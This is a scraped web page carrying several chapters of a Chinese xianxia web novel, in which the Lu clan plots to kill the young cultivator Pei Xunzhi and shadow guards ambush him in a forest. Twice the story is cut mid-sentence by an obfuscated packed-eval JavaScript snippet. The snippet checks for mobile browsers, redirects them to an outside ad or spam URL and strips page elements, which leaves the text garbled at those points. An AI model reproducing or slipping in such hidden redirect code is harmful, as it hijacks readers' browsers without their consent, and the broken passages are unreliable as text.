他不确定其他同门是怎么想的,不敢擅作主张。 “这还不简单么?谁惹的事谁麻溜地滚下去!”崔九斯大声嚷嚷,目光在人群中有目标地游荡,“云知微,说你呢!……哎?人呢?云知微人呢?!” 他原地转了一圈,没寻到那抹熟悉的嫩鹅黄,倒是看见紫藤正提着裙裾攀上鸢舷,然后顺着软梯往下爬。 崔九斯一个跨步来到鸢舷旁,探头往下一看,登时哑火。 云知微不知什么时候已经下去了。 她十分乖巧地背着手,两脚并拢站得笔直,脚尖不好意思地翘起来;抬起头,两颗黑葡萄似的眼睛水汪汪地眨巴两下,摆出一副“我错了我已经下来了应该就不用我赔了吧”带点试探的认错表情,其中又夹杂着一点点“二十万灵石一艘啊怎么这么容易被我弄坏了退一步说这个飞鸢它自己真的没有问题吗”的不服气。 像他小时候养过的那只咬坏他一个珍贵法器然后躲在角落里一脸“虽然是我干的但是既然这么贵谁让你乱放啊”的心虚小狗。 紫藤快手快脚地爬下去后,紧紧挨着云知微。俩人一起肩并肩站得笔笔直直,像土里突然冒出两根竹子似的。 崔九斯悻悻一转头,还没张嘴,就接收到一众外门弟子齐刷刷投来的无声谴责目光:你责怪她干什么?!明明是你先挑的事儿!退一万步说也是飞鸢的问题啊怎么能怪微微?! “那什么——”崔九斯清了清嗓子,底气不足地指着那一圈外门弟子,虚张声势地威胁他们,“你们外门的,识相就滚下去,一个也别留!你们若不想下去的话就来本少爷面前说些好话,本少爷就……哎?哎!哎?!你们……!” 以罗不敢为首,十几个外门弟子默默排起队,一个接一个毫不留恋地滑下软梯。 眨眼之间,飞鸢就空了一半,御鸢师搓了搓手:“咳,那个,够了够了,倒也不用都下……” 崔九斯不相信所有外门弟子都这般偏袒云知微,视线不甘心地一扫,于是精准地逮住原地不动的裴浔之。 软梯挂在飞鸢头部,而他站在飞鸢尾部,看上去没有要下飞鸢的打算。 崔九斯仿佛抓住一根能挽救他所剩不多面子的救命稻草,忙不迭伸出一根手指,点了点裴浔之,颐指气使道:“那谁,裴濯是吧,你若是想留在飞鸢上,本少爷可以大发慈悲,允许你……你去哪儿?!” 裴浔之单手撑住鸢舷,一个漂亮利落的翻身直接跳下去,落地起身,拍了拍身上不存在的灰:“不了,跟蠢货坐一块我怕被传染。” 崔九斯在飞鸢上暴跳如雷:“姓裴的你大爷的你骂谁呢!” 裴浔之走到云知微身边,双手抱臂,站定,慢悠悠地回答崔九斯:“谁问骂谁啊。” 在御鸢师担忧的目光中,崔九斯抓住鸢舷上的扶手猛摇:“都滚都滚!不爱坐飞鸢那你们走路坐马车坐船去吧!吃满嘴的灰!累死你们!我呸!” 他越骂越激动,不顾周围同门的阻拦,突然跨坐在扶手上,指着地上那似笑非笑的黑衣少年怒骂。 “你这三境废物,本少爷不稀得与你们这些外门废物为伍!本少爷要打死……” 崔九萝走过来,声音平和:“好了九斯。” 崔九斯一挥袖:“阿姐你别劝我!本少爷要打死这个……啊啊啊啊!” 崔九萝不容分说,一脚将崔九斯踹了下去。 崔九斯重重摔落在地,惨叫一声,眼冒金星,艰难起身抬头,望向飞鸢上那道熟悉的身影,一脸难以置信又委屈:“阿,阿姐……?“ 崔九萝居曲指在鸢舷上轻叩一声,声音平缓地滑落下来:“看看名册。” 然后对旁边一脸震惊的御鸢师一点头:“走吧,不能再耽误了。” 飞鸢双翼震动,拔地而起,朝着北边的蔚州而去,很快消失在一碧如洗的天空中。 崔九斯一脸怨念且茫然,从灵戒中快速扒拉出那卷名册,打开,找到自己的名字,这才后知后觉地发现—— 原来,此次下山任务,他被划到了罗不敢的队伍里,要与这些他瞧不上的外门废物们为伍。 “……靠” 云知微好奇地挪过来,探头一看名册,拍了拍神情恍惚的崔九斯,补刀提问:“九师兄,你这是被崔师姐抛弃了吗?” 悲痛欲绝羞愤难当之际,崔九斯察觉到怀里的孤山镜震动了一下。 他摸出孤山镜,避开云知微的视线,低头一看,崔九萝连着发来一条消息:“盯着裴濯。” 紧接着,又发来第二条:“还有云知微。” 虽然不知道为什么要盯着这俩人,但原本生无可恋的崔九斯登时重新振作了。阿姐才没有抛弃他呢!他是有任务在身的! 他收了孤山镜,一骨碌爬起来,瞪了一眼云知微,一脸高深莫测地挥挥手:“你懂什么!去去去,一边去。” 走了几步,他脑子里突然闪过云知微方才提到的“崔师姐”,于是醍醐灌顶地一跺脚,转头怒斥:“云知微我终于发现了!本少爷姓崔不姓九!你明明就知道!你是故意的!” *** 仙庭,位于九州东部,是陆氏本家的聚居地。 上万条大小湖泊纵横交错,形成仙庭的天然屏障;建筑大多依水而建,桥梁水榭、亭台楼阁皆掩映在水汽氤氲中,宛若仙境。 位于仙庭中心的一个水榭内,一个中年男子和一个弱冠青年分坐棋盘两边,一只雪白的小狐狸趴在那青年脚边呼呼大睡。 中年男子身着绀蓝长袍,胸口是陆氏的飞鱼水波纹刺绣;他食指和中指拈着一颗黑子,半悬在空中。 他没有看棋盘,也没有看对面的弱冠青年,而是凝眉看向旁边的妇人,目光沉稳而锐利,嘴角紧抿,表情没有任何起伏,但自带一种与生俱来的威严气场。 他便是如今陆氏的家主,陆鸣琅。 被他直视的这位妇人,正高高扬手,朝湖水里洒了一把鱼粮,慢条斯理地用锦帕擦手:“那裴浔之死了,就没人和珩儿抢帝印了不是?兄长若觉得我有错,还请细说。” 她是陆鸣琅的妹妹,陆嫣然;口中的“珩儿”,是她的亲生儿子陆玉珩,也就是眼前正同陆鸣琅对弈的弱冠青年。 陆鸣琅语气沉沉道:“嫣然,我同你说过多少次了,晋入绝圣境,只是有了可以参加帝主试炼的资格,并不意味一定能拿到九州帝印。” 陆嫣然饶有兴致地欣赏着湖中争夺鱼粮的金鱼群,不以为意地回答:“我知道啊,那又如何?反正珩儿少了一个竞争对手,不是更好吗?” 啪嗒—— 陆鸣琅将手中黑子重重摁在棋盘上,视线仍旧钉在陆嫣然身上,眉头紧拧。 “裴浔之就算成功晋入绝圣境,也断然熬不过帝主试炼,是拿不到九州帝印的。实话告诉你,我已有万全之策,帝印一定是珩儿的,是咱们仙庭的。” 说着说着,陆鸣琅的语气不自觉地加重。 “但是,倘若让神都知晓是你对裴浔之下的手,他们必定会对我仙庭开战,最终两败俱伤,让那半死不活的玉京坐收渔翁之利!” “再者,你暗中使这些阴私手段,若有一日不慎暴露,九州皆知,而到时珩儿已是帝主,你让他如何服众?如何自处?我仙庭的脸面往哪搁?” 陆玉珩脚边的那只雪狐被陆鸣琅吵醒,神色迷离地睁开眼睛,慵懒地伸了一个懒腰,用头去蹭陆玉珩的小腿。 毕竟是家主,陆嫣然到底是有些生畏,稍微直了直身子,暂时不忙活喂鱼了,不服气地解释道:“兄长,这些道理我自然知晓,所以我是营造裴浔之渡劫失败而死的假象,没人能知道同我们仙庭有关。神都那群老古板再生气,也赖不到咱们头上。” 陆鸣琅摁了摁突突直跳的额角:“你确定你都处理好了?没给仙庭留下把柄?” 陆嫣然捏着锦帕的手指一紧,然后松开,整个人不太自然地换了一个坐姿。 为了给陆玉珩铲除裴浔之这个竞争对手,她筹谋多年,但一直找不到合适的下手机会。 好巧不巧,因为崔九斯导致一步登仙的事情暴露,裴浔之在渡绝圣劫的紧要关头选择下山,给了她一个大好时机。 她花大价钱买通了一位给裴浔之护法的长老,让他想办法杀了裴浔之,并同时营造出渡劫失败的假象,然后再挖出他的帝王骨。 最后,她会派人杀了那长老,彻底封口。 如此一来,在外人看来,裴浔之就是渡劫失败而死的。 计划的前半部分都进行得十分完美,只是最后一步出了点岔子。 她派出去善后的暗卫回来汇报说:在他刚好从那长老手里拿到帝王骨时,就不知从哪里冒出来一波妖化人,对那长老和裴浔之痛下杀手,他只能带着帝王骨赶紧撤离。 但无论如何,最终的结果是所有人都死了,并无大碍。 “兄长放心,都处理好了。”陆嫣然镇定自若地回答。 闻言,陆鸣琅放心了,重新将目光放回到棋盘上,手伸向棋罐,拿起一颗黑子。 而就在此时,棋罐旁边的一把孤山境突然震动起来。 他视若无睹,盯着棋盘思忖片刻,落下黑子,这才拿起孤山镜。 只看了一眼,突然黑脸,一个威严的眼风扫向陆嫣然。 陆嫣然摸了摸发髻,睫毛心虚地一颤:“兄长,怎么了?” 陆鸣琅将孤山镜扔给陆嫣然:“自己看。” 陆嫣然抓住孤山镜,垂眸一看,握住孤山镜的手微微一抖。 一个叫做“花叶雀”的人发来讯息,说天墟宗出现一个叫裴濯的人,样貌年纪和裴浔之都一模一样,只是修为在三境,说是裴氏的私生子;如今正和天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143309|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墟宗其他修士一道去往蔚州出任务。 陆嫣然起身,将孤山镜放回棋罐旁,站在陆鸣琅旁边,掌心汗湿,嗓子却干涩:“这……” 陆鸣琅的语气听不出太大的责怪意味,只是分析眼下的局势:“好端端地冒出来个私生子,我看就是裴浔之本人。但只有三境,可能跟丢失了帝王骨有关。他的帝王骨呢?” 陆嫣然忙道:“本来想看这帝王骨能否为我仙庭所用,但这帝王骨在裴浔之体内十五年,已然认主,又没办法销毁,所以就扔妖域了。” “兄长放心,他没了帝王骨,便是神都弃子;妖域辽阔又危险重重,等找到帝王骨,咱们珩儿早就拿到帝印了。况且,神都若是有脑子,权衡过后也不会再管裴浔之,只会将心血精力都花在他们大少主和另外几个天赋也不错的小辈身上。” 陆鸣琅沉吟片刻,认同道:“一个三境成不了气候,不必再在此人身上花费心思。” 他看了一眼陆玉珩脚边的雪狐,问一直认真下棋的陆玉珩:“珩儿,蔚州那边情况如何?” 陆玉珩将刚刚拿起的棋子放回棋罐,双手放在大腿上,恭敬回答:“舅舅,一切如常。” “——只是天墟宗派人去济世堂查案子,领头的是玉京二少主崔九萝。我担心她……” 陆鸣琅摆了摆手,示意无妨:“你不用管她,那孩子拦不了你的路。你只要确保那个东西能顺利生产出来就行。它在,你的帝印就在,明白吗?不要像你母亲一样,把精力花在不必要的地方,横生事端。” 他一边说,一边落下最后一颗黑子,赢了。 陆玉珩拱手认输,语气佩服道:“还是舅舅棋高一着。” “舅舅放心,那东西已到了紧要关头,我明日就启程去蔚州,亲自盯着,确保事成。” 陆鸣琅满意颔首,然后点了点棋盘,转头对默不作声的陆嫣然语重心长道:“嫣然,我们陆氏行事,要像下棋,用阳谋,堂堂正正得到帝印。如若不然,拿到帝印也无法服众,珩儿成不了真正的帝主,陆氏也无法真正统一九州。” “别再搞你那些不入流的手段了。” 说罢,陆鸣琅起身,拍了拍陆嫣然的肩膀,挥袖离开。 陆鸣琅离开后,水榭中的威压登时消散一大半。 陆嫣然捧起装鱼粮的碗,倚靠在水榭栏杆上,继续喂鱼,同时漫不经心道:“露水那十个暗卫,我要用,你别给他们安排事务了,带其他人去蔚州罢。” “露水”是陆玉珩手下一支暗卫的名称。 陆玉珩迟疑:“母亲,可是舅舅方才说……” 陆嫣然横了他一眼,打断他:“万一呢?” 陆玉珩一愣。 “万一呢,万一那三境小子真的是裴浔之,万一他真的成功进入妖域拿回帝王骨……” 陆嫣然叹了一口气。 “神都裴氏是九州最古老的世家,体内流淌着帝主的血脉,他们培养出来的都是真正的天才。” “我虽没接触过裴浔之,但我认识裴见霜。” 提到裴见霜,陆嫣然沉默片刻,似乎是没想好怎么描述此人,旋即换了一种说法。 “你舅舅说,只要有那个东西,你就能拿到帝印。因为裴见霜就是有了那个东西才拿到帝印,可我不信。” “论天赋,你舅舅不及裴见霜万分之一。我总觉得,这才是最关键的原因,只是你舅舅面子薄,不愿意承认罢了。” “裴浔之是被帝王骨承认的人,没那么容易死,他也不会轻易放弃拿回帝王骨。” “珩儿,咱们要承认现实,你比不过裴浔之,所以要趁他此刻势弱,彻底斩草除根。” 陆玉珩听到最后一句话时,一直温和的表情微妙地一变,搭在大腿上的手隔着衣料掐进肉里;小雪狐似乎感知到主人的心情,抬起前爪,扒在陆玉珩的膝盖上,歪了歪头。 他轻轻碰了碰小雪狐的前爪,缓缓一点头,声音平静:“是,母亲。” 陆嫣然见陆玉珩听劝,满意点头,继续道。 “蔚州属于咱们仙庭管辖,哪怕那裴濯真的是个私生子,死在蔚州也说不清。” “所以,不能让他活着进蔚州。” “好。”陆玉珩颔首,“露水都是七境,够用么?要不我亲自去?” 陆嫣然摇摇头,笃定道:“十个七境,足够了。那小子三境而已,杀鸡焉用牛刀?” “可是……”陆玉珩想了想,又提出一个问题。“那裴濯和天墟宗的人在一起……” “一群外门的,没人在乎,全杀了便是。”陆嫣然将鱼粮碗放下,施施然起身,掩面打了个哈欠,迈着莲步离开了。 水榭里,只剩陆玉珩一个人了。 他敛了面上所有乖顺唯诺的表情,手一扬,将剩下的鱼粮高高抛起,引得鱼儿们争先恐后地从湖水中跳起来争食。 他五指虚拢,湖面溅起的水珠打在鱼儿身上,它们被推落到水榭里,上下蹦跶。 噗咻,噗咻,噗咻—— 陆玉珩面带微笑,一脚一只将它们尽数踩死,地面一片血肉模糊。 他看向迫不及待摇尾巴的小雪狐,语气温柔。 “饿了吧,来吃。” 12. 第12章 “嗐,微微,还得是你啊!” 罗不敢目瞪口呆地望着眼前菜肴丰盛的一排乡村流水席,搂着云知微的肩膀晃了晃,脸上写满了敬佩之意。 没了飞鸢,他打算去附近的渡口雇一艘船,走水路北上去蔚州;可最近的渡口距离他们下飞鸢的地方还有几十里路,再加上已近黄昏,他便打算次日再动身去渡口。 但问题是,宗门分配给他的灵石并无富余,无法支撑他们这十几人的住宿膳食费用。 云知微知道后,冲罗不敢扔下一句“我试试”,迅速找到村中几家农户,靠着貌美嘴甜,使得热心的村民们答应让他们留宿一晚。 原本只是留宿,众修士已经很感激了,没敢打扰人家,一个比一个个拘谨,贴着墙根站,除了不断道谢不知道该说什么该做什么。 云知微则截然相反。 她像是回了百花峰一样自在,帮这家的牛婶婶择菜喂鸡,帮那家的李老伯抓跑掉的猪和赶大鹅,一圈溜达下来,谁家有几口人几亩地几只鸡鸭鹅狗、甚至连大婶的儿子暗恋老伯的女儿这种事都知道了。 村子偏僻,很少有客人来,特别是云知微这样漂亮活泼的小女修。 村民们一开心,在村里摆起逢年过节才会有的流水席,招呼云知微等人一起用晚膳。 朱色漆面剥脱的木头方桌摆成一长排,每桌配上四根暗棕色的长条板凳,桌椅简陋但阵仗隆重;几只大黄狗摇着尾巴,垂涎三尺地盯着村民们手中的盆碗盘碟,吐着舌头你追我赶地紧跟在脚后边。 “你们别站着呀,快坐快坐!”牛婶婶端着一盆猪骨汤路过,笑着冲云知微挥了挥手。 “好,牛婶婶你也快吃!”云知微拉开长凳的一头,坐了下来。 罗不敢在云知微旁边坐下,从怀中掏出一把孤山镜,手指在镜面上划拉几下:“喏,衔山哥哥发消息过来了。” 云知微立刻凑上去:“快给我看看!阿兄是不是想我了!” 两人的脑袋紧紧凑一块。 此刻,独自外出的裴浔之回来,恰好撞见这一幕。 他扫了一眼正朝云知微走过来的紫藤,不紧不慢地踱步到罗不敢身后,提膝一顶罗不敢的腰,旋即脚尖勾住长凳腿,猛地往后一拉,一套动作行云流水。 罗不敢猝不及防,一屁股坐到地上,扭头一看。 在罗不敢发话之前,裴浔之指了指刚好走过来一脸茫然的紫藤,对罗不敢笑了笑:“她想坐这。” 云知微一听,立刻站起来,热情地抓住紫藤的手:“小阿藤快来,坐我边上!” 然后看见裴浔之,也友好地拉开自己旁边的长凳,冲他道:“裴濯你跑哪儿去了怎么才回来?快坐。” 裴浔之无视罗不敢疑惑且委屈的目光,正要坐下。 啪—— 不知从哪里冒出来的崔九斯,抢先一步一屁股坐了下来。 裴浔之身形顿了一下,视线垂下,在崔九斯的头顶缓慢转了一圈,然后没什么表情地绕过他,在云知微对面坐下。 方桌上摆满了饭菜:菜团子,窝窝头,白菜炖豆腐,红烧咸鱼,红豆年糕,桂花糕…… 都是一些食材简单但管饱的农家饭。 由于味道一般,裴浔之和崔九斯两位世家少主基本上没动筷子,罗不敢和紫藤出于礼貌吃得不快不慢,只有云知微一手拿着窝窝头,另一只手不断夹菜往嘴里塞,吃得津津有味,仿佛在吃什么山珍海味。 裴浔之双手抱臂,完全不理解为什么云知微能吃得这般津津有味,脑海中骤然冒出一个可怕的念头:她真的是什么都吃,该不会人肉也吃吧? 崔九斯第一次和云知微一起用膳,眼睁睁地看云知微吃完一个窝窝头、两个菜团子、三个桂花糕,就着炒青菜吃完一碗糙米饭后,终于开始怀疑自己是不是味觉出了什么问题,于是拿起一个窝窝头咬了大一口,还是觉得实在难以下咽到他那金贵的嗓子里。 终于,他忍不住震惊开口:“云知微,你是猪吗吃这么多?!” “!” 云知微嘴里塞满第四个桂花糕,开不了口,只能用眼神谴责崔九斯。 裴浔之淡淡道:“别乱说。” 云知微受宠若惊,这可是他第一次为她说话! 于是冲他感激一笑。 裴浔之气定神闲:“猪吃不了这么多。” “哈哈哈哈!”崔九斯疯狂大笑拍桌,竖起大拇指,“裴濯兄弟,你比裴浔之那小子有意思多了哈哈哈哈笑死本少爷了!” 裴浔之偏头躲过云知微扔来的筷子,对崔九斯道:“过奖,没你有意思,吃个假药从九境跌到七境。” 崔九斯大怒,一拍桌子站起来:“你!” 罗不敢也站起来,双手在空中挥舞,和稀泥道:“好好好,诸位诸位,和气和气,别动手别动手啊。” 他从怀里摸出孤山镜,试图转移话题:“那个,崔师兄,既然咱们在一个队了,不如加个孤山镜,方便联系?” 崔九斯瞪了一眼裴浔之,气咻咻地坐下,一口回绝罗不敢:“不加外门废物。” 罗不敢讪讪,余光发现裴浔之正从怀里摸出孤山镜低头查看消息,于是抓住机会开口—— “加个孤山镜?” 突然,一个女声响起,抢在罗不敢前面。 两个女修挽着彼此的胳膊,你推我搡地走过来,其中一个用孤山镜掩唇,笑着看向裴浔之。 裴浔之一边快速查看孤山镜上的消息,一边头也不抬地拒绝:“不了,我不怎么用。” 他使用孤山镜的手势十分娴熟,怎么都不像是“不怎么用”。 那两个女修对视一眼,神色变幻莫测。 罗不敢默默收回自己的孤山镜。好险,再差一步,被无情拒绝的就是他了。 这裴濯,都懒得花心思编个说得过去的理由…… 一时之间,真是难以分辨他和崔九斯谁更招人嫌。 那个开口要加孤山镜的女修面子上挂不住,冷笑一声:“一个三境傲气什么?同裴师兄长得像,还真以为自己就是他呢?” 另外一个附和道:“就是!方才大家都在帮忙搬桌椅、盛菜端碗,你可倒好,不知跑到哪个旮旯躲起来偷闲,一到饭点就钻出来,什么人啊!若是不姓裴,你看谁理你?怕是天墟宗外门都进不来吧!” 刺啦—— 裴浔之起身,带得长凳往后一划拉,与地面摩擦,发出一个刺耳的声音。 两个女修不由自主地退后一步,一脸惊惧:“怎么?要动手?” 裴浔之看都不看她俩一眼,视线在饭桌对面那颗埋头认真嚼嚼嚼的脑袋上停留片刻,径直转身离开。 “怎么这么没礼貌?!神都裴氏怎么会教出这样的人?难怪是上不得台面的私生子!”两个女修全程被忽视,十分生气,冲着黑衣少年的背影指指点点。 罗不敢讪讪,安慰她俩:“别气了别气了,要不加我的?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143310|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两个女修白了他一眼,也走了。 罗不敢忙活了一圈一个都没加上,悻悻收回孤山镜,头疼地叹了一口气,一转眸看见云知微,捂着心口感慨道:“还是咱们家微微最省心。” 整个过程,云知微一直保持着两腮鼓鼓囊囊的小仓鼠状态,两耳不闻窗外事,风雨不动地虔诚用膳。 用完膳,众修士帮忙收拾完,便各自回到分配好的房间去了。 云知微用油纸包了六块桂花糕,跟牛婶婶聊了会天,方才离开。 紫藤一直跟在云知微身后,走了几步,疑惑问道:“微微,咱们不是回房间吗?” 她俩的房间是在牛婶婶隔壁家,可云知微在往李老伯家里走。 “对,我去找裴濯。”云知微步伐轻快,“他晚膳一口没吃,三境的身体和凡人差不太多,肯定会饿着的。” 她牢牢记得宗主吩咐过的事情,“要关爱裴濯”。 村子不大,没走多久,她就到了李老伯家里。 李老伯正在院中编花篮,看见云知微来,同她打招呼:“微微来了。” 云知微笑道:“李伯好,我来找我的同伴。” 李老伯指了指西边一个黑漆漆的小厢房:“刚进去没多久呢,熄灯了,估摸着是睡了。” 云知微谢过李老伯,走到房门口,伸手敲了敲:“裴濯开门,我是云知微!” 紫藤觉得奇怪:“这么早就睡了呀?” “肯定没睡。”云知微加重力道,“裴濯裴濯,快开门!我给你带好吃的了!” 吱呀—— 门没锁,被云知微大力一敲,自己打开了。 云知微摸黑走了两步,踩到一个软绵绵的东西,赶紧收回脚。 定睛一看,居然是一个人! 紫藤差点惊呼出声,立刻捂住嘴,去找蜡烛。 云知微能听见这人的呼吸声,知道还活着,于是没有惊慌,蹲下来,借着洒进来的月光,看清地上这人的容貌。 是崔九斯。 她喃喃道:“奇怪,崔师兄怎么晕过去了?裴濯人呢?” 紫藤找到蜡烛,点亮,整个房间明亮起来。 房间里,除了地上昏迷的崔九斯,再无他人。 紫藤胆战心惊地推测:“裴濯被人抓走了?” 云知微扫了一眼毫无打斗痕迹的房间,摇头道:“他应该是自己走了。” 大概是不想让崔九斯知道他去哪儿了,所以干脆把人打晕? “可这荒郊野岭黑灯瞎火的,他这是要去哪啊?”紫藤好奇。 云知微想了想:“许是心情不好。” 这人脾气捉摸不定、性子乖戾,晚膳时又被那两个女修嘲讽,估计是又难过又自卑,找地方散心去了? “小阿藤你先回房歇息罢,我去找他。”云知微晃了晃拎着的桂花糕。 紫藤有些犹豫:“可你知道他在哪吗?” 云知微耸了耸鼻子,问紫藤:“你能闻到吗?” 紫藤茫然摇头:“什么?” 云知微隐隐嗅到一丝水果糖的甜味。她记得,在飞鸢上,裴浔之吃过气味相同的糖。 顺着气味,她走到屋内北边,推开窗扉,发现积灰的窗台上有半个清晰的脚印。 探头出窗外,只见窗下杂草上有一排脚印,延伸向不远处一片黑漆漆的树林。 云知微翻上窗台,跳下去,拍了拍手上的灰:“他没走远,我找他去。” 13. 第13章 距离村子三里外的一个小树林。 月光透过密密麻麻的树叶枝丫,斑驳落在黑泥地上,宛若流淌的水色。 一个黑衣少年,垂首抱臂,慢悠悠走入山坡密林中,踩碎一地月光。 啪嗒—— 一个极其轻微的树枝折断声响起,那少年脚步一顿,站定,脸上露出疑惑而警惕的神色。 视线四下逡巡一番后,他没有发现不妥,于是耸了耸肩,继续往前走。 “啧,这都没发现?这人真的是裴浔之?” 一棵茂密的大树上,鬼魅般潜藏着一高一矮两个七境修士。 他们对视一眼,眸中流露出嘲讽的神色。 “都跌到三境了,发现不了也正常。”那矮个修士摸出孤山镜,就要发送讯息,“我招呼其他人过来。” 高个修士伸手摁住他,压低声音:“别。” 矮个修士茫然抬头,正要发问,却在和高个修士对上目光那一瞬间,醍醐灌顶般明白了伙伴的意思。 他们是陆玉珩手下名为“露珠”的一支暗卫,这次总共来了十个人。 事成之后是会论功行赏的,倘若是他俩杀了裴浔之,赏赐便轮不到其他人。 而他们两个七境对付一个三境,堪称易如反掌,没必要同他人分一杯羹。 矮个修士眯着眼睛,透过树杈枝丫凝视黑衣少年那悠闲踱步的背影,谨慎发问:“这小子居然敢自己到处溜达,身上不会带了什么高阶法宝吧?” “不会。”高个修士言辞凿凿,“家主安插在天墟宗的眼线不是说了么,这一趟下山,他只带了几瓶灵药。” 矮个修士仍旧不大放心,有些犹豫:“现在就动手吗?要不,再观察观察?” 此时,原本正不紧不慢踱步的裴浔之,突然不动声色地加快了脚步。 越走越快,越走越快,最后几乎是要跑起来。 矮个修士和高个修士明白迟则生变的道理,当即不再犹豫,十分默契地从树梢上一跃而下,两匹饿狼一般猛追向裴浔之。 裴浔之头也不回地拼命往前奔跑,但由于整整差了四个境界,于是转眼间就被追上了,相隔不过一个人的距离。 唰—— 只听一阵利刃出鞘声,矮个和高个修士同时齐刷刷地出剑,剑身覆满泛着冷光的寒冰,直逼裴浔之后背。 裴浔之恰好跑到一棵大树旁,以一个极其刁钻的角度避开那两把剑,但仓促之间到底是来不及躲开第二次攻击,于是只得一转身,硬生生徒手接下这两柄剑。 纵使双手有灵体保护,但也架不住七境的威力,掌心登时划破,血流如注。 见状,高个修士面露得意之色,就要刺出第三剑,而矮个修士却脸色一变:“不好!” 只听嘎吱一声,他们脚下一空,坠入一个大坑。 这个大坑的表层铺满了树枝和落叶,坑底插满了削尖的木头,还有几个血迹斑斑的捕兽夹,原来是当地村民布置的狩猎陷阱。 高矮个修士立刻催动灵力护体,落地之时将木头撞得稀碎,而自己并未受伤。 形势大起大落之后,高个修士暴怒,提剑指着居高临下睥睨他俩的黑衣少年:“妄图用区区一个破坑来算计我们?简直可笑!” 话音未落,他一提气,纵身上跃,恶狠狠朝少年扑去。 而裴浔之出手更快。 他抬起仍在流血的双手,手腕一翻,掌中甩出几块寒冰,齐齐落入大坑中。 那几块寒冰落至一半,像是触碰到了什么机关似的,一张雷芒编织而成的网突然急速铺开;寒冰立刻分裂为无数细小的尖锐冰刃,悬挂在这张雷芒网上,刃尖颤动直指坑底,蓄势待发。 只要一声令下,就能尽数落下,扎穿坑中两人。 矮个修士深呼吸一口气,镇定下来,哑声道:“冰雷阵,你是故意的……” 冰雷阵,是神都裴氏的雷术之一,以冰为引,雷电灌注,便能成阵;此阵法对修为的要求并不高,但对铸阵材料要求非常高,同时需要雷芒和寒冰。 高个修士反应稍慢,但眼下也反应过来了:“他大爷的,被这孙子给耍了,他方才是故意徒手接剑的!” 这小子出身裴氏,自己能召雷芒,但眼下春日无冰,他又无法像陆氏那样凭空取冰,于是便借打斗之际顺走他俩剑身上凝成的寒冰! 矮个修士皱眉不语,意识到自己大意了:不该小看这个只有三境的少年。 不仅仅是冰雷阵,这人早就布置好了陷阱,一开始故作悠闲散步姿态,就是为了引诱他们到这里来自投罗网! “才俩人啊?” 裴浔之一只脚踩在坑边,手肘横搭在膝盖上,饶有兴致地垂眸观察那两个一脸懊恼的修士。 “陆狗派来的吧?其他人呢?” 高个修士一愣,一时之间不知道他说的陆狗是指家主还是夫人抑或少主,旋即反应过来不管是指谁都是在侮辱陆氏,于是大怒:“休得辱我仙庭!” 矮个修士已然冷静下来,十分悠闲地盘腿坐下,笑道:“你的确机灵,这阵也不错,可惜杀不了我们。” 冰雷阵虽然厉害,但少年只能用三境修为来催动;他们则以七境修为护体,所以并不会遭受致命的伤害。 裴浔之点头同意,表情似乎有点遗憾:“三境确实杀不了你们。” 高个修士也跟着矮个修士冷静下来,高声道:“哼,岂止是杀不了我们?我们还有八个七境正在赶过来!我倒要看看,你到时是怎么死的!” 他瞥见矮个修士用孤山镜向其他同伴发送了讯息,因此底气十足,直接透了底。 矮个修士则恨铁不成钢地踢了高个修士一脚,用眼神骂他:说出来做甚么!不怕他立刻逃走么! 但裴浔之听了,并没有一点想要逃走的意思,反而松了口气似的,笑道:“哦,八个。” “这不巧了么,这坑大,刚好够埋十个。” 闻言,矮个修士脸色渐白,惊疑不定。 这少年孤身一人,身上无法器,就算故技重施再铸一个冰雷阵,也不可能困住八个七境。 他捏着孤山镜,掌心冷汗岑岑,犹豫要不要让另外八个人不要过来了。 从事实上去思考,他是真想不到一个三境该怎么脱困;可凭他当暗卫多年的直觉,他能感觉到这少年非是戏言。 倘若,他真的是裴浔之本人……难道是神都在派人暗中守护? 不,不对,他们今日已彻查过这村子,并无旁人…… 就在此时,裴浔之突然抬眸,冲某个方向抬了抬下巴,懒洋洋道:“来了?骑王八过来的?” “哎呀,这地儿太偏僻了,我找了半天呢!”孤山聿身着朱衣,气喘吁吁,深一脚浅一脚从林间走出。 他一扬手,一个白色瓷瓶在夜色中划出一道漂亮的曲线,飞向裴浔之。 “提前说好啊,这玩意儿你只能吃一颗!” 裴浔之精准接住瓷瓶,大拇指一顶,拨开瓶盖,将瓶身往嘴里一倒,滚落出一颗晶莹剔透的圆形药丸。 他用舌头将那药丸顶到左腮,用牙齿咬住,含糊不清回答孤山聿:“知道了,一颗能搞定。” 在坑底的矮个修士听到了对话,但无法看见到底是什么东西,于是一头冷汗地在脑海里搜寻记忆。 到底是什么东西,为什么只能吃一颗? 吃了以后,会怎么样? 正在焦头烂额地思索之时,他听见一个熟悉的同伴声响起。 “多谢带路啊小兄弟。” 余下八个七境修士,鬼魅般从林间冒了出来。 领头那位冲孤山聿拱了拱手:“小兄弟路感不错,若不是跟着你,只怕我们来得不够及时。” 孤山聿这才后知后觉地意识到自己被人跟踪了,但面上并无恼怒之意。 他一摆手“嗐”了一声,指指裴浔之:“是是,我是黑白无常,带你们来见阎王。你说你们,可真是上赶着自寻死路呐。” 一边说,一边跑远找了一棵树,舒舒服服地靠坐下,一脚脚腕搁在另一只的膝盖上,十分悠闲地上下晃荡,一副准备看好戏的模样。 那八个修士对孤山聿的这番狠话不以为然,在领头的号令下,纷纷提剑散开,迅速摆成一个阵。 